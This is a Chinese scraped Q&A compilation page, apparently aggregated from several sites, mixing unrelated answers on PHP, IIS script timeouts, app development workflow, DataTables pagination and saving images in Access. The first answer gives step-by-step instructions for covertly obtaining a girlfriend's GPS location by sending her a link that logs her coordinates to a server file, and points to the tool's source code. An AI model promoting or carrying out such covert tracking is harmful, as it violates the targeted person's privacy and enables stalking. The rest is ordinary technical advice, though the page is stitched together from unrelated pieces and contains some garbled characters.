首页 开发编程 正文

php怎么保存在本地

手机QQ浏览器打开我做的程序http:id=123哪么这里我自然要打开的是:id=haiyangtop哪么你要打开http:修改ASP脚本超时时间限制右击需要修改的站点。...

php怎么保存在本地,你用PHP写过哪些好玩的东西呢?

我用php+html5写过一个定位软件。

手机QQ浏览器打开我做的程序http://www.haiyangtop.net/dw/index.php?id='你起的名',好比是:http://www.haiyangtop.net/dw/index.php?id=123。当然你用手机UC或其它浏览器也可以,只要手机浏览器有分享到微信功能就可以,然后把此网页分享到你女朋友的微信里。

2、过一段时间,等你女朋友打开这个链接后,然后你再打开http://www.haiyangtop.net/dw/你起的名id的.txt。

上文我发送的链接是:

http://www.haiyangtop.net/dw/index.php?id=123

哪么这里我自然要打开的是:

http://www.haiyangtop.net/dw/123.txt 了。

如果你发送的是:

http://www.haiyangtop.net/dw/index.php?id=haiyangtop

哪么你要打开

http://www.haiyangtop.net/dw/haiyangtop.txt

如果你实在找不到,你就先打开www.haiyangtop.net,再点dw列目录。

我们就获得了女朋友所在位置的经纬度了。另外,你要注意123.txt里的时间,明白哪个是你女朋友的经纬度。还有,起一个你想要的特殊ID名字(请用英文和数字),不要用我文章中的123了,方便获得的文件名和别人都不重复,否则跑到别人获的位置信息了。

3、我们去http://www.gpsspg.com/maps.htm这里,输入你获得的维度和精度数字进行查询。注意这两个数字要用逗号分隔。这下一查询,绝对把你女朋友定位准了,误差我想不会超过500米的。

原文我以前发表在海阳顶端头条号里有空大家看下吧。

为什么海阳顶端这么好的头条号没有人关注呢?唉,我转战悟空问答,来拉点粉丝吧。

很多人也私信问我的源码。我用的程序修改自土司论坛里的风在指尖的源码。在此向他表示感谢。

源码在:http://www.haiyangtop.net/dw/index.php.txt

关于ASP或PHP运行超时的处理?

1,修改ASP脚本超时时间限制 右击需要修改的站点,选择“属性”,然后选择“主目录”,再选择“配置”。 选择“选项”,在ASP脚本超时中修改下时间,确定下就可以了。2,修改PHP脚本超时时间限制FastCGI ErrorThe FastCGI Handler was unable to process the request. --------------------------------------------------------------------------------Error Details:•The FastCGI process exceeded configured activity timeout•Error Number: 258 (0x80070102).•Error Description: µÈ´ýµÄ²Ù×÷¹ýʱ¡£ HTTP Error 500 Server Error.Internet Information Services (IIS) 如果服务器正常,本错误往往发生在提交一个很大的字符串时发生。原因就是在处理如此“巨大”的字符串提交请求时,服务器处理超时了。可以通过设置fcgiext.ini里面的超时配置和php.ini里的超时配置来解决。当然,根据个人对服务器设置的不同,可能还需要修改更多配置信息。比如允许一次性提交多少数据。 大概给该网站建立一个独立的应用程序池也可以解决某些因此原因导致的问题。 在C:\WINDOWS\system32\inetsrv文件夹中找到fcgiext.ini文件。 注意:如果是新版的PHP环境,fcgiext.ini文件是存放在C:\ZkeysSoft\php\目录。 打开文件后,里面关于php脚本活动超时时间(ActivityTimeout)的配置信息如下:[Types]php=PHP[PHP]ExePath=c:\PHP\php-cgi.exeInstanceMaxRequests=500EnvironmentVars=PHP_FCGI_MAX_REQUESTS:1000ActivityTimeout=1200 里面的数字可以自行调整。上面的提示,即配置文件里的ActivityTimeout=600 这个时间超时设置,600是10分钟,最大可以设置为6000一小时。但不一定就是这个原因引起的。

开发一个app有多难?

互联网项目的开发有一套专业APP的设计和开发流程,关于这方面的文章也有很多,但大多数文章偏专业性。下文以新星咨询公司APP项目评估的流程为例子,站在技术委托方(客户)关注的角度,为大家剖析一下在开发过程当中,哪些是重要的里程碑节点,以及在APP项目开发过程需要双方交付和对接一些项目资料。

(全文约2000字,预计花费您5分钟阅读)

一、商务洽谈 & 合同阶段

1. 功能需求思维导图:经过一些双方反馈调整后,产品经理跟甲方对接了解清楚整个项目需求,并绘制整个项目的功能思维导图策划方案(已经过技术和设计角度的可行性评估),最终产出清晰明确的功能需求说明。例如下图:

2. 需求报价方案:产品经理跟客户确定好功能需求后,项目经理拿到清晰完整的需求规划,进行整个项目的设计和项目开发测试评估,并产出项目的需求报价方案。如下图:

需求说明&报价单

3. 技术开发合同:初步确认合作意向后,提供技术开发合同,如果双方对合同协议会异议,双方协商修改。

4. 开发进度文档:签订合同后,根据总开发周期,制定各开发阶段节点,并根据开发计划,推进后续的整个设计开发过程。例如下图:

技术节点示例

二、设计阶段

1. 原型设计稿:产品经理根据合同确认的功能需求,进行整个项目前端界面的原型设计。经过双方多次的沟通反馈调整,最终确认所有原型的设计。例如下图:

产品原型图例

2. 原型交互流程图:在原型设计稿的基础上,加上每个页面的跳转交互流程标识,以便能够清晰了了解各个页面间的跳转和交互流程。如下图:

产品原型交互示意

3. UI风格页:UI设计师会挑出几个主页面进行风格页的设计,一般会提供3-5个风格页的设计,确认整个UI的设计风格。

4. UI高保真设计稿:确认UI的风格设计后,便开始进行整个项目所有页面的高保真图设计,最终产出所有页面的高保真设计图,包括每一个页面的预览图,以及整个项目所有页面的预览大图。如图所示:

产品高保真原型示意图

三、开发阶段

1.注册相关账号:开发过程中,需要注册相关的开发者账号。包括部分但也不限于以下的开发者账号:苹果开发者账号,应用宝账号,微信公众号,支付账号,推送账号,阿里云账号,APP统计开发者账号,短信开发者账号,地图开发者账号等。

2.购买服务器,注册域名,备案:一般在上线前半到一个月,需要购买云服务器(如阿里云服务器),根据项目预估的运营情况(如未来一段时间的注册用户数,日活用户数,用户增加预估,用户的并发访问等情况),确认服务器的采购配置。如果项目需要分享到微信,或者有官方网站,则需要配备域名使用,需要提前购买好域名和服务器,并进行备案,备案一般需要7-10个工作日;

3.交付测试版本:完成项目的所有功能开发后(包括前后端功能的开发,一般在项目上线前的1-2周前交付,已经过内部初始几轮的测试,版本稳定),将打包发布测试的版本给甲方进行反馈测试。在经过1-3周的测试与反馈后,最终版本功能达到稳定流畅的上线状态。在此期间,双方都需要配置相关的人员进行项目的测试反馈问题。

四、项目上线:

项目上线前,需要进行以下几步的操作:

1.准备上架相关的资料:如发布市场的打包版本,应用说明描述,截图,部署服务器和录入正式的数据等工作;

2.部署正式服务器:将数据库,后台系统部署到正式的服务器上面,并录入正式的上线数据到系统的后台;

3.发布APP应用到市场:国内的应用一般是发布到苹果的APPSTORE(iOS版本)和腾讯的应用宝(安卓版本)。APPSTORE提交后一般需要10个工作日左右可以通过应用的审核并上架,应用宝一般当天提交APP,当天就可以通过应用的审核并上线

4.发布H5或小程序到微信公众号:如果是微信H5的网站,只需要将网站部署并挂到小程序的菜单上面;如果是微信小程序,则需要把小程序发布提交给微信团队审核并上架;

五、运维阶段:

1.免费运维阶段:项目上线后,项目便正式进入免费运维的阶段。一般免费运维期为3-12个月。在这个阶段中,技术开发方需要提供运维的服务,包括解答甲方的咨询服务,指导甲方的软件使用等事项,以及程序Bug的修复等内容。由于刚上线的版本前期bug会比较多,所以在这个阶段,协助甲方收集相关的问题进行修复并定时迭代上线新的版本;

2.交付项目资料:免费运维期到后,项目运行基本达到稳定状态,技术开发方需定期打包所有的项目资料交付给甲方,包括但不限于前后端项目的所有最新源代码,数据库设计文档,API设计文档,所有的开发者账号资料(数据库账号,服务器账号,苹果账号,微信开发者账号,安卓应用市场账号等等),测试文档,原型设计稿,UI设计稿,项目相关文档等资料。

3.付费运维阶段:后续如果甲方需要供运维支持,需要签订运维合同。一般运维费用为项目总开发成本的10% ~ 20%,根据项目的用户数量,功能量级及运维工作量进行费用的评估。

PHP后台顺序输出数据与前端交互?

建议使用datatables,数据源采用ajax source,options配置中

{

bServer:true,

bPagination:true

}

完全就能满足你的需求。而且所有的增删查改在前后端均会同步。

其原理是前端通过分页参数获取数据后会在js的context下维护一个数组对象用于存放数据表,此表与后台数据完全映射。自带的search功能默认可以对前端js维护的数据表进行索引查询,也可以通过函数重载改写为直接使用select like来对后端整表进行查询。非常方便。

如果是后台产生数据更新而非前端主动产生,有几种方法:

1、ajax source设置timer自动更新,系统负担与timer的频率成正比;

2、使用部分浏览器支持的websocket建立一个长连接,更新后通知前端;

3、使用部分浏览器支持的notifications功能

web开发技术日益更新不进则退,我的项目更新日志里有很多都是对技术框架的更新log,并且效果卓著。举例说明,我的项目中最早使用的datatables版本是1.10,没有使用ajax source进行分页读取数据库,而是全部读取后前端分页。在数据量增大后效率极具下降。前后端均加上时间打印后发现,PHP+mysql的总用时为0ms,而前端建立js数据表花了近10s。于是前往官网查看优化方式,看到版本已更新为1.13则顺手更新了整个模块,没想到之前的近10s耗时随着这次更新降到了几百ms的级别,瞬间解决了效率问题。开源的强大就在于你不是一个人在战斗,你遇到的问题,别人也会遇到,可能早就解决。

Access如何保存数据库?

access是微软发布的一款关系型数据库。access数据库保存图片的方法很多,可以通过vb,c++,php,asp等开发语言实现;也可以直接向access数据库插入图片进行保存。下面演示直接插入步骤:;打开access数据库,新建一张数据表(存储图片的字段类型选择:OLE 对象);新建好,保存!然后再打开;右击图像控件,选择插入对象;选中:由文件创建(F);然后点击浏览按钮,选择要保存的图片;最后,点击确定按钮。;同时按下Ctrl+S,对插入数据进行保存。保存成功后,图片控件会显示Package;双击:图片控件(Package位置),会看到图片的预览;这样,一张图片就保存到access数据库里去了!!

本文转载自互联网,如有侵权,联系删除